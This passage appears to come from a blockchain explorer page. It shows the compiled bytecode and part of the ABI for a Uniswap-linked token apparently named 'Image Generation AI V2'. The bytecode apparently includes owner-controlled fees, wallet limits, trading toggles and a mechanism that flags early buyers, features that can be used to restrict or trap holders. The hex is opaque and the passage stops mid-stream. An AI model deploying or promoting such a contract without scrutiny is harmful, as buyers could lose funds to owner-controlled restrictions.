IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526ddead000000000000000000000000608052601f805461ffff60b01b1960ff60a81b19909116600160a81b1716600160b81b1790553480156200004657600080fd5b506040518060400160405280601681526020017f496d6167652047656e65726174696f6e204149205632000000000000000000008152506040518060400160405280600981526020016824b6b3b720a4902b1960b91b815250633b9aca006040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060400160405280633b9aca008152602001633b9aca00815250604051806040016040528073f4818fa5f9980734904711e201cc02050bd1c65f6001600160a01b03166001600160a01b0316815260200173f4818fa5f9980734904711e201cc02050bd1c65f6001600160a01b03166001600160a01b031681525073f4818fa5f9980734904711e201cc02050bd1c65f73038f5da04abf1211d42afad84905f29aeab93a606000620001b86200083060201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508951620002179060019060208d01906200095f565b5088516200022d9060029060208c01906200095f565b506003805460ff1916600917908190556200024d9060ff16600a62000ba8565b62000259908962000c93565b601a558651600e819055602080890151600f8190556040808b015160108190558a516011558a8401516012558a82015160135589516014558984015160155590890151601655620002cf939092620002bb9290620018ec62000834821b17901c565b6200083460201b620018ec1790919060201c565b601781905550620002fa601354620002bb6012546011546200083460201b620018ec1790919060201c565b60188190555062000325601654620002bb6015546014546200083460201b620018ec1790919060201c565b6019556003546200033b9060ff16600a62000ba8565b845162000349919062000c93565b601b556003546200035f9060ff16600a62000ba8565b602085015162000370919062000c93565b601c81905550620003ae6127106200039a6001601a546200087a60201b6200191b1790919060201c565b620008c860201b620019601790919060201c565b601d55825160038054610100600160a81b0319166101006001600160a01b039384160217905560208085015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a01559380830193919290829003018186803b1580156200043b57600080fd5b505afa15801562000450573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000476919062000a05565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620004bf57600080fd5b505afa158015620004d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fa919062000a05565b6040518363ffffffff1660e01b81526004016200051992919062000a2e565b602060405180830381600087803b1580156200053457600080fd5b505af115801562000549573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200056f919062000a05565b601f80546001600160a01b03199081166001600160a01b0393841617909155601e80549091168383161790819055601a543060008181526006602090815260408083209587168352948152848220939093559081526009909152818120805460ff19908116600190811790925593871682529181208054909316821790925590600a90620005fc62000912565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f5482168152600a90935281832080548516600190811790915530845282842080548616821790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054861682179055908716835290822080549093168117909255600b906200069b62000912565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b845282812080548616600190811790915588831682528382208054871682179055601f549092168152600c845291909120805490931617909155601a546200073e916009916200072a91600a9062001960620008c8821b17901c565b6200087a60201b6200191b1790919060201c565b6001600160a01b038416600090815260056020908152604090912091909155601a546200077791600a9062001960620008c8821b17901c565b6001600160a01b03831660008181526005602052604080822093909355601a54925191929091600080516020620039d983398151915291620007b99162000b16565b60405180910390a3826001600160a01b0316826001600160a01b0316600080516020620039d98339815191526200080860096200072a600a601a54620008c860201b620019601790919060201c565b60405162000817919062000b16565b60405180910390a3505050505050505050505062000d08565b3390565b60008062000843838562000b1f565b905083811015620008715760405162461bcd60e51b8152600401620008689062000a9e565b60405180910390fd5b90505b92915050565b6000826200088b5750600062000874565b600062000899838562000c93565b905082620008a8858362000b3a565b14620008715760405162461bcd60e51b8152600401620008689062000ad5565b60006200087183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200092160201b60201c565b6000546001600160a01b031690565b60008183620009455760405162461bcd60e51b815260040162000868919062000a48565b50600062000954848662000b3a565b9150505b9392505050565b8280546200096d9062000cb5565b90600052602060002090601f016020900481019282620009915760008555620009dc565b82601f10620009ac57805160ff1916838001178555620009dc565b82800160010185558215620009dc579182015b82811115620009dc578251825591602001919060010190620009bf565b50620009ea929150620009ee565b5090565b5b80821115620009ea5760008155600101620009ef565b60006020828403121562000a17578081fd5b81516001600160a01b038116811462000871578182fd5b6001600160a01b0392831681529116602082015260400190565b6000602080835283518082850152825b8181101562000a765785810183015185820160400152820162000a58565b8181111562000a885783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b90815260200190565b6000821982111562000b355762000b3562000cf2565b500190565b60008262000b5657634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861162000b6f575062000b9f565b81870482111562000b845762000b8462000cf2565b8086161562000b9257918102915b9490941c93800262000b5e565b94509492505050565b60006200087160001960ff85168460008262000bc75750600162000958565b8162000bd65750600062000958565b816001811462000bef576002811462000bfa5762000c2e565b600191505062000958565b60ff84111562000c0e5762000c0e62000cf2565b6001841b91508482111562000c275762000c2762000cf2565b5062000958565b5060208310610133831016604e8410600b841016171562000c66575081810a8381111562000c605762000c6062000cf2565b62000958565b62000c75848484600162000b5b565b80860482111562000c8a5762000c8a62000cf2565b02949350505050565b600081600019048311821515161562000cb05762000cb062000cf2565b500290565b60028104600182168062000cca57607f821691505b6020821081141562000cec57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c612cab62000d2e60003960008181610d5a0152610de60152612cab6000f3fe6080604052600436106103e85760003560e01c806387712e8c11610208578063b0be159a11610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610aab578063ea7a6eb114610acb578063f0cd1dac14610ae0578063f2fde38b14610af5578063f61ffad614610b15576103ef565b8063cab0347114610a57578063d00efb2f14610a6c578063d9419b7314610a81578063dc44b6a014610a96576103ef565b8063c49b9a80116100e7578063c49b9a80146109f8578063c5d2418914610a18578063c816841b14610a2d578063c860795214610a42576103ef565b8063b0be159a14610983578063b49ece63146109a3578063c2d4640e146109c3578063c469b6dd146109e3576103ef565b8063a073d37f1161019b578063a7c257b21161016a578063a7c257b2146108ee578063a83f53a71461090e578063a8e1515014610923578063a9059cbb14610943578063a911928c14610963576103ef565b8063a073d37f14610884578063a08e671f14610899578063a2a17cda146108ae578063a457c2d7146108ce576103ef565b8063914eb66a116101d7578063914eb66a14610830578063918d56881461084557806395d89b411461085a578063962dc50a1461086f576103ef565b806387712e8c146107c657806388790a68146107e65780638c2fc7ad146107fb5780638da5cb5b1461081b576103ef565b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107315780637a62ba0314610751578063827312471461077157806382eefb4314610791578063844d591c146107a6576103ef565b8063614d19b8146106c757806361a23c69146106dc578063632e5442146106f1578063689b30c314610711576103ef565b806350b20cac116102d257806350b20cac146106525780635785b6511461067257806357a5802f146106925780635ac419e1146106a7576103ef565b80633e4e1728146105e85780633ecad271146105fd57806340aa81fe1461061d5780634a74bb021461063d576103ef565b806323b872dd1161037b578063313ce5671161034a578063313ce5671461056657806339509351146105885780633b97084a146105a85780633e07387c146105c8576103ef565b806323b872dd146104fc57806327c8f8351461051c5780632af38605146105315780632b112e4914610551576103ef565b80631694505e116103b75780631694505e1461048357806318160ddd146104a55780631afb1a9e146104ba578063200618df146104dc576103ef565b806303675260146103f457806306fdde031461041f578063095ea7b3146104415780630c70a9921461046e576103ef565b366103ef57005b600080fd5b34801561040057600080fd5b50610409610b35565b6040516104169190612ac5565b60405180910390f35b34801561042b57600080fd5b50610434610b3b565b6040516104169190612871565b34801561044d57600080fd5b5061046161045c366004612662565b610bcd565b6040516104169190612866565b34801561047a57600080fd5b50610409610beb565b34801561048f57600080fd5b50610498610bf1565b6040516104169190612817565b3480156104b157600080fd5b50610409610c00565b3480156104c657600080fd5b506104da6104d536600461262e565b610c06565b005b3480156104e857600080fd5b506104da6104f736600461277c565b610c6f565b34801561050857600080fd5b506104616105173660046125ee565b610ccf565b34801561052857600080fd5b50610498610d58565b34801561053d57600080fd5b506104da61054c36600461262e565b610d7c565b34801561055d57600080fd5b50610409610ddc565b34801561057257600080fd5b5061057b610e18565b6040516104169190612b2b565b34801561059457600080fd5b506104616105a3366004612662565b610e21565b3480156105b457600080fd5b506104da6105c3366004612743565b610e6f565b3480156105d457600080fd5b506104da6105e3366004612729565b610ea9565b3480156105f457600080fd5b50610498610efc565b34801561060957600080fd5b5061046161061836600461257e565b610f10565b34801561062957600080fd5b5061046161063836600461257e565b610f25565b34801561064957600080fd5b50610461610f3a565b34801561065e57600080fd5b506104da61066d36600461268d565b610f4a565b34801561067e57600080fd5b5061046161068d36600461257e565b61100f565b34801561069e57600080fd5b50610409611024565b3480156106b357600080fd5b506104da6106c236600461277c565b61102a565b3480156106d357600080fd5b50610461611084565b3480156106e857600080fd5b50610409611094565b3480156106fd57600080fd5b506104da61070c3660046126df565b61109a565b34801561071d57600080fd5b506104da61072c36600461257e565b611164565b34801561073d57600080fd5b5061040961074c36600461257e565b6111c1565b34801561075d57600080fd5b506104da61076c366004612743565b6111e0565b34801561077d57600080fd5b5061046161078c36600461257e565b61121e565b34801561079d57600080fd5b5061040961123c565b3480156107b257600080fd5b506104da6107c136600461262e565b611242565b3480156107d257600080fd5b506104da6107e1366004612743565b6112a2565b3480156107f257600080fd5b506104096112dc565b34801561080757600080fd5b506104da61081636600461262e565b6112e2565b34801561082757600080fd5b50610498611342565b34801561083c57600080fd5b506104da611351565b34801561085157600080fd5b506104da6113d6565b34801561086657600080fd5b50610434611412565b34801561087b57600080fd5b50610409611421565b34801561089057600080fd5b50610409611427565b3480156108a557600080fd5b5061040961142d565b3480156108ba57600080fd5b506104da6108c936600461262e565b611433565b3480156108da57600080fd5b506104616108e9366004612662565b611493565b3480156108fa57600080fd5b506104da610909366004612743565b6114fb565b34801561091a57600080fd5b50610409611535565b34801561092f57600080fd5b5061046161093e36600461257e565b61153b565b34801561094f57600080fd5b5061046161095e366004612662565b611550565b34801561096f57600080fd5b5061046161097e36600461275b565b611564565b34801561098f57600080fd5b506104da61099e36600461268d565b611569565b3480156109af57600080fd5b506104da6109be366004612729565b611628565b3480156109cf57600080fd5b506104da6109de36600461277c565b61167b565b3480156109ef57600080fd5b506104096116d5565b348015610a0457600080fd5b506104da610a13366004612729565b6116db565b348015610a2457600080fd5b50610409611762565b348015610a3957600080fd5b50610498611768565b348015610a4e57600080fd5b50610409611777565b348015610a6357600080fd5b5061040961177d565b348015610a7857600080fd5b50610409611783565b348015610a8d57600080fd5b50610461611789565b348015610aa257600080fd5b50610409611799565b348015610ab757600080fd5b50610409610ac63660046125b6565b61179f565b348015610ad757600080fd5b506104986117ca565b348015610aec57600080fd5b506104096117d9565b348015610b0157600080fd5b506104da610b1036600461257e565b6117df565b348015610b2157600080fd5b506104da610b3036600461257e565b611895565b60085481565b606060018054610b4a90612ba7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690612ba7565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610be1610bda6119a2565b84846119a6565b5060015b92915050565b601b5481565b601e546001600160a01b031681565b601a5490565b610c0e6119a2565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b8152600401610c3b90612a07565b60405180910390fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b610c776119a2565b6000546001600160a01b03908116911614610ca45760405162461bcd60e51b8152600401610c3b90612a07565b601183905560128290556013819055610cc781610cc185856118ec565b906118ec565b601855505050565b6000610cdc848484611a5a565b50610d4d84610ce96119a2565b610d4885604051806060016040528060288152602001612c29602891396001600160a01b038a16600090815260066020526040812090610d276119a2565b6001600160a01b031681526020810191909152604001600020549190611dbf565b6119a6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610d846119a2565b6000546001600160a01b03908116911614610db15760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610e13610e0a7f00000000000000000000000000000000000000000000000000000000000000006111c1565b601a5490611df9565b905090565b60035460ff1690565b6000610be1610e2e6119a2565b84610d488560066000610e3f6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118ec565b610e776119a2565b6000546001600160a01b03908116911614610ea45760405162461bcd60e51b8152600401610c3b90612a07565b601d55565b610eb16119a2565b6000546001600160a01b03908116911614610ede5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b60035461010090046001600160a01b031681565b600c6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b601f54600160a81b900460ff1681565b610f526119a2565b6000546001600160a01b03908116911614610f7f5760405162461bcd60e51b8152600401610c3b90612a07565b60c98210610f8c57600080fd5b60005b82811015611009578160096000868685818110610fbc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fd1919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561100281612be2565b9050610f8f565b50505050565b600b6020526000908152604090205460ff1681565b60145481565b6110326119a2565b6000546001600160a01b0390811691161461105f5760405162461bcd60e51b8152600401610c3b90612a07565b600e839055600f829055601081905561107c81610cc185856118ec565b601755505050565b601f54600160b81b900460ff1681565b60155481565b6110a26119a2565b6000546001600160a01b039081169116146110cf5760405162461bcd60e51b8152600401610c3b90612a07565b6107d182106110dd57600080fd5b60006110e98383612b71565b9050806110f5336111c1565b101561110057600080fd5b60005b8381101561115d5761114a3386868481811061112f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611144919061257e565b85611e3b565b508061115581612be2565b915050611103565b5050505050565b61116c6119a2565b6000546001600160a01b039081169116146111995760405162461bcd60e51b8152600401610c3b90612a07565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0381166000908152600560205260409020545b919050565b6111e86119a2565b6000546001600160a01b039081169116146112155760405162461bcd60e51b8152600401610c3b90612a07565b60085543600755565b6001600160a01b03166000908152600d602052604090205460ff1690565b60185481565b61124a6119a2565b6000546001600160a01b039081169116146112775760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6112aa6119a2565b6000546001600160a01b039081169116146112d75760405162461bcd60e51b8152600401610c3b90612a07565b601b55565b60115481565b6112ea6119a2565b6000546001600160a01b039081169116146113175760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b6113596119a2565b6000546001600160a01b039081169116146113865760405162461bcd60e51b8152600401610c3b90612a07565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6113de6119a2565b6000546001600160a01b0390811691161461140b5760405162461bcd60e51b8152600401610c3b90612a07565b6000600755565b606060028054610b4a90612ba7565b601c5481565b601d5490565b60195481565b61143b6119a2565b6000546001600160a01b039081169116146114685760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610be16114a06119a2565b84610d4885604051806060016040528060258152602001612c5160259139600660006114ca6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611dbf565b6115036119a2565b6000546001600160a01b039081169116146115305760405162461bcd60e51b8152600401610c3b90612a07565b601c55565b60165481565b60096020526000908152604090205460ff1681565b6000610d4d61155d6119a2565b8484611a5a565b101590565b6115716119a2565b6000546001600160a01b0390811691161461159e5760405162461bcd60e51b8152600401610c3b90612a07565b60c982106115ab57600080fd5b60005b828110156110095781600d60008686858181106115db57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906115f0919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561162181612be2565b90506115ae565b6116306119a2565b6000546001600160a01b0390811691161461165d5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6116836119a2565b6000546001600160a01b039081169116146116b05760405162461bcd60e51b8152600401610c3b90612a07565b6014839055601582905560168190556116cd81610cc185856118ec565b601955505050565b60105481565b6116e36119a2565b6000546001600160a01b039081169116146117105760405162461bcd60e51b8152600401610c3b90612a07565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611757908390612866565b60405180910390a150565b600f5481565b601f546001600160a01b031681565b60125481565b60135481565b60075481565b601f54600160b01b900460ff1681565b600e5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6004546001600160a01b031681565b60175481565b6117e76119a2565b6000546001600160a01b039081169116146118145760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03811661183a5760405162461bcd60e51b8152600401610c3b90612907565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61189d6119a2565b6000546001600160a01b039081169116146118ca5760405162461bcd60e51b8152600401610c3b90612a07565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806118f98385612b39565b905083811015610d515760405162461bcd60e51b8152600401610c3b9061298f565b60008261192a57506000610be5565b60006119368385612b71565b9050826119438583612b51565b14610d515760405162461bcd60e51b8152600401610c3b906129c6565b6000610d5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f1f565b3390565b6001600160a01b0383166119cc5760405162461bcd60e51b8152600401610c3b90612a81565b6001600160a01b0382166119f25760405162461bcd60e51b8152600401610c3b9061294d565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4d908590612ac5565b60405180910390a3505050565b60006001600160a01b038416611a825760405162461bcd60e51b8152600401610c3b90612a3c565b6001600160a01b038316611aa85760405162461bcd60e51b8152600401610c3b906128c4565b601f54600160a01b900460ff1615611acc57611ac5848484611e3b565b9050610d51565b6001600160a01b0384166000908152600b602052604090205460ff16158015611b0e57506001600160a01b0383166000908152600b602052604090205460ff16155b15611b2857611b1f82601b54611564565b611b2857600080fd5b6000611b33306111c1565b601d5490915081108015908190611b545750601f54600160a01b900460ff16155b8015611b7957506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b8e5750601f54600160a81b900460ff165b15611bb457601f54600160b01b900460ff1615611bab57601d5491505b611bb482611f4d565b611bbe8686612088565b15611c2f576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611c15918690611dbf565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611c6e57506001600160a01b03861660009081526009602052604090205460ff165b15611c7a575083611cde565b600060075411611c8957600080fd5b611c9d4360085460075461097e9190612b39565b8015611cc257506001600160a01b0386166000908152600c602052604090205460ff16155b15611cd057611cd0866120c7565b611cdb878787612135565b90505b601f54600160b81b900460ff168015611d1057506001600160a01b0386166000908152600a602052604090205460ff16155b15611d3657611d2d611d2582610cc1896111c1565b601c54611564565b611d3657600080fd5b6001600160a01b038616600090815260056020526040902054611d5990826118ec565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dab908590612ac5565b60405180910390a360019350505050610d51565b60008184841115611de35760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b90565b95945050505050565b6000610d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dbf565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e8c918490611dbf565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611ebb90836118ec565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f0d908690612ac5565b60405180910390a35060019392505050565b60008183611f405760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b51565b601f805460ff60a01b1916600160a01b179055601954601454600091611f8391600291611f7d918290879061191b565b90611960565b90506000611f918383611df9565b9050611f9c81612282565b6014544790600090611fbc90611fb3906002611960565b60195490611df9565b90506000611fde6002611f7d84611f7d6014548861191b90919063ffffffff16565b90506000611ffb83611f7d6016548761191b90919063ffffffff16565b905060006120138261200d8786611df9565b90611df9565b90508015612036576003546120369061010090046001600160a01b031682612440565b811561205257600454612052906001600160a01b031683612440565b6000831180156120625750600087115b1561207157612071878461247b565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610d5157506004546001600160a01b038481169116141580610d51575060009392505050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561210957506001600160a01b0381166000908152600c602052604090205460ff16155b15612132576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff1615612179576121726064611f7d6017548661191b90919063ffffffff16565b90506121b7565b6001600160a01b0384166000908152600c602052604090205460ff16156121b7576121b46064611f7d6018548661191b90919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156121f857506001600160a01b0385166000908152600c602052604090205460ff16155b156122005750815b8015612278573060009081526005602052604090205461222090826118ec565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061226f908590612ac5565b60405180910390a35b611df08382611df9565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561231957600080fd5b505afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612351919061259a565b8160018151811061237257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e5461239891309116846119a6565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123d1908590600090869030904290600401612aef565b600060405180830381600087803b1580156123eb57600080fd5b505af11580156123ff573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612434929190612ace565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612476573d6000803e3d6000fd5b505050565b601e546124939030906001600160a01b0316846119a6565b601e546004805460405163f305d71960e01b81526001600160a01b039384169363f305d7199386936124d39330938a93600093849392169142910161282b565b6060604051808303818588803b1580156124ec57600080fd5b505af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d91906127a7565b60008083601f840112612536578182fd5b50813567ffffffffffffffff81111561254d578182fd5b602083019150836020808302850101111561256757600080fd5b9250929050565b803580151581146111db57600080fd5b60006020828403121561258f578081fd5b8135610d5181612c13565b6000602082840312156125ab578081fd5b8151610d5181612c13565b600080604083850312156125c8578081fd5b82356125d381612c13565b915060208301356125e381612c13565b809150509250929050565b600080600060608486031215612602578081fd5b833561260d81612c13565b9250602084013561261d81612c13565b929592945050506040919091013590565b60008060408385031215612640578182fd5b823561264b81612c13565b91506126596020840161256e565b90509250929050565b60008060408385031215612674578182fd5b823561267f81612c13565b946020939093013593505050565b6000806000604084860312156126a1578283fd5b833567ffffffffffffffff8111156126b7578384fd5b6126c386828701612525565b90945092506126d690506020850161256e565b90509250925092565b6000806000604084860312156126f3578283fd5b833567ffffffffffffffff811115612709578384fd5b61271586828701612525565b909790965060209590950135949350505050565b60006020828403121561273a578081fd5b610d518261256e565b600060208284031215612754578081fd5b5035919050565b6000806040838503121561276d578182fd5b50508035926020909101359150565b600080600060608486031215612790578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156127bb578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b8381101561280c5781516001600160a01b0316875295820195908201906001016127e7565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561289d57858101830151858201604001528201612881565b818111156128ae5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600083825260406020830152612ae760408301846127d4565b949350505050565b600086825285602083015260a06040830152612b0e60a08301866127d4565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b60008219821115612b4c57612b4c612bfd565b500190565b600082612b6c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b8b57612b8b612bfd565b500290565b600082821015612ba257612ba2612bfd565b500390565b600281046001821680612bbb57607f821691505b60208210811415612bdc57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bf657612bf6612bfd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461213257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204f1cb5cb41d762e7f972c2a4a8638f4e32deb2d8d7baf53f4534f48aebee9cab64736f6c63430008000033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106103e85760003560e01c806387712e8c11610208578063b0be159a11610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610aab578063ea7a6eb114610acb578063f0cd1dac14610ae0578063f2fde38b14610af5578063f61ffad614610b15576103ef565b8063cab0347114610a57578063d00efb2f14610a6c578063d9419b7314610a81578063dc44b6a014610a96576103ef565b8063c49b9a80116100e7578063c49b9a80146109f8578063c5d2418914610a18578063c816841b14610a2d578063c860795214610a42576103ef565b8063b0be159a14610983578063b49ece63146109a3578063c2d4640e146109c3578063c469b6dd146109e3576103ef565b8063a073d37f1161019b578063a7c257b21161016a578063a7c257b2146108ee578063a83f53a71461090e578063a8e1515014610923578063a9059cbb14610943578063a911928c14610963576103ef565b8063a073d37f14610884578063a08e671f14610899578063a2a17cda146108ae578063a457c2d7146108ce576103ef565b8063914eb66a116101d7578063914eb66a14610830578063918d56881461084557806395d89b411461085a578063962dc50a1461086f576103ef565b806387712e8c146107c657806388790a68146107e65780638c2fc7ad146107fb5780638da5cb5b1461081b576103ef565b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107315780637a62ba0314610751578063827312471461077157806382eefb4314610791578063844d591c146107a6576103ef565b8063614d19b8146106c757806361a23c69146106dc578063632e5442146106f1578063689b30c314610711576103ef565b806350b20cac116102d257806350b20cac146106525780635785b6511461067257806357a5802f146106925780635ac419e1146106a7576103ef565b80633e4e1728146105e85780633ecad271146105fd57806340aa81fe1461061d5780634a74bb021461063d576103ef565b806323b872dd1161037b578063313ce5671161034a578063313ce5671461056657806339509351146105885780633b97084a146105a85780633e07387c146105c8576103ef565b806323b872dd146104fc57806327c8f8351461051c5780632af38605146105315780632b112e4914610551576103ef565b80631694505e116103b75780631694505e1461048357806318160ddd146104a55780631afb1a9e146104ba578063200618df146104dc576103ef565b806303675260146103f457806306fdde031461041f578063095ea7b3146104415780630c70a9921461046e576103ef565b366103ef57005b600080fd5b34801561040057600080fd5b50610409610b35565b6040516104169190612ac5565b60405180910390f35b34801561042b57600080fd5b50610434610b3b565b6040516104169190612871565b34801561044d57600080fd5b5061046161045c366004612662565b610bcd565b6040516104169190612866565b34801561047a57600080fd5b50610409610beb565b34801561048f57600080fd5b50610498610bf1565b6040516104169190612817565b3480156104b157600080fd5b50610409610c00565b3480156104c657600080fd5b506104da6104d536600461262e565b610c06565b005b3480156104e857600080fd5b506104da6104f736600461277c565b610c6f565b34801561050857600080fd5b506104616105173660046125ee565b610ccf565b34801561052857600080fd5b50610498610d58565b34801561053d57600080fd5b506104da61054c36600461262e565b610d7c565b34801561055d57600080fd5b50610409610ddc565b34801561057257600080fd5b5061057b610e18565b6040516104169190612b2b565b34801561059457600080fd5b506104616105a3366004612662565b610e21565b3480156105b457600080fd5b506104da6105c3366004612743565b610e6f565b3480156105d457600080fd5b506104da6105e3366004612729565b610ea9565b3480156105f457600080fd5b50610498610efc565b34801561060957600080fd5b5061046161061836600461257e565b610f10565b34801561062957600080fd5b5061046161063836600461257e565b610f25565b34801561064957600080fd5b50610461610f3a565b34801561065e57600080fd5b506104da61066d36600461268d565b610f4a565b34801561067e57600080fd5b506104616106